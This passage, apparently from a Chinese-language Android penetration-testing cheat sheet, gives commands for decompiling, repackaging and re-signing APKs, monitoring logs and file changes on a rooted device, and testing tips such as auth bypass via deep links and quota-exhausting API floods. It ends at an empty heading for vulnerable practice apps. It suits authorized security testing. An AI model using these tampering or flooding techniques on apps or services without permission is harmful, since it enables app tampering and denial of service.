jadx --threads-count $(grep -c 'processor' /proc/cpuinfo) -d /root/Desktop/source_jar/ /root/Desktop/base.jar
反编译JAR会得到不同的目录结构,所以你可能需要同时反编译base.jar和base.apk。
确保指定输出目录的完整路径;否则,它将默认保存到 /usr/share/jadx/bin/
目录(即根目录)。
确保指定base.jar或base.apk的完整路径;否则,JADX可能无法识别它。
要使用GUI检查源代码,运行以下命令并打开base.jar或base.apk:
jadx-gui
通过修改 /usr/bin/d2j-dex2jar
并增加 -Xms
和 -Xmx
参数中指定的堆大小来解决 java.lang.OutOfMemoryError
问题,例如:
java -Xms1024m -Xmx4096m -classpath "${_classpath}" "com.googlecode.dex2jar.tools.Dex2jarCmd" "$@"
15. 重新打包APK
解码
从APK中获取SMALI源代码。方便快速获取和检查应用的AndroidManifest.xml。
apktool decode base.apk -o decoded
解码APK但不解码源代码和资源:
apktool decode -r -s base.apk -o decoded
重新打包
从解码后的目录创建重新打包的APK:
apktool build -f decoded -o repackaged.apk
对重新打包的APK内的所有文件进行ZIP对齐并检查对齐情况:
zipalign -v 4 repackaged.apk
zipalign -c -v 4 repackaged.apk
代码签名
keytool和jarsigner随Java预安装。但是,使用apksigner可获得最佳结果,因为它可以使用v1-4
签名方案;而jarsigner
只能使用v1
签名方案。
生成代码签名证书:
keytool -genkey -keyalg RSA -validity 365 -keysize 2048 -storetype PKCS12 -alias apk_rsa_priv -keystore apk_rsa_priv.key -storepass 12345678
对重新打包的APK进行代码签名:
apksigner sign --ks apk_rsa_priv.key --ks-pass "pass:12345678" repackaged.apk
jarsigner -sigalg SHA256withRSA -digestalg SHA-256 -tsa http://timestamp.digicert.com -keystore apk_rsa_priv.key -storepass 12345678 repackaged.apk apk_rsa_priv
验证重新打包的APK的代码签名:
apksigner verify repackaged.apk
jarsigner -verify -verbose -certs repackaged.apk
16. 其他事项
监控系统日志
在你的Kali Linux上,运行以下命令:
adb logcat | grep 1337
或者,通过关键词获取PID:
keyword="keyword"; adb logcat | grep $(frida-ps -Uai | grep -i "${keyword}" | tr -s '[:blank:]' ' ' | cut -d ' ' -f 1)
监控文件变化
在你的Kali Linux上,从GitHub下载最新版本的fsmon
,上传到你的Android设备,赋予必要权限,然后运行:
adb push fsmon-and-arm /data/local/tmp/
adb shell su
chmod +x /data/local/tmp/fsmon-and-arm
/data/local/tmp/fsmon-and-arm /data/data/com.someapp.dev/
始终关注创建或缓存的文件、图像/截图等。
敏感文件,如了解你的客户(KYC)等类似文件,在文件上传后不应持续存在于用户设备上的应用特定目录中。敏感文件不应存储在/tmp/
目录或类似的系统级目录中。
图像和截图路径:
cd /mnt/sdcard/DCIM/
cd /storage/emulated/0/DCIM/
cd /mnt/media_rw/3664-6132/DCIM/
cd /storage/3664-6132/DCIM/
cd /data/system_ce/0/snapshots/
不要将/mnt/sdcard/
路径与真正的可移动存储路径混淆,因为有时这种路径是特定于设备的,所以你需要在网上搜索或使用一些Java代码提取它。在我的情况下,它是/mnt/media_rw/3664-6132/
路径。
17. 技巧和安全最佳实践
通过复制粘贴数据到输入字段来绕过任何键盘限制。 访问令牌应该是短期的,如果可能的话,在登出时使其失效。 不要忘记测试小部件、推送通知和Firebase。 有时,深层链接和小部件可以绕过身份验证,包括生物识别。 只有在明确允许的情况下,尝试淹没第三方API以可能对公司造成经济损失,或通过耗尽允许的配额/限制来进行拒绝服务(DoS)攻击。
应用不应在预测文本(由于输入字段类型定义不正确)、应用切换器和推送通知中泄露敏感数据。 当用户对敏感数据进行截图时,应用应该警告用户。 应用应警告用户,如果Android设备已越狱,生物识别身份验证很容易被绕过。 生产应用(即构建版本)不应该是可调试的。
18. 实用网站和工具
网址 | 描述 |
---|---|
developer.android.com | Android官方文档。 |
streaak/keyhacks | 验证各种API密钥。 |
zxing.org/w/decode.jspx | 解码二维码。 |
odinforum.com | 三星设备的固件刷机工具。 |
developer.samsung.com/android-usb-driver | 三星设备的USB驱动程序。 |
samfrew.com | 三星设备的固件。 |
xdaforums.com | 移动软件开发论坛。 |
19. 易受攻击的应用程序
用于学习目的的易受攻击应用程序: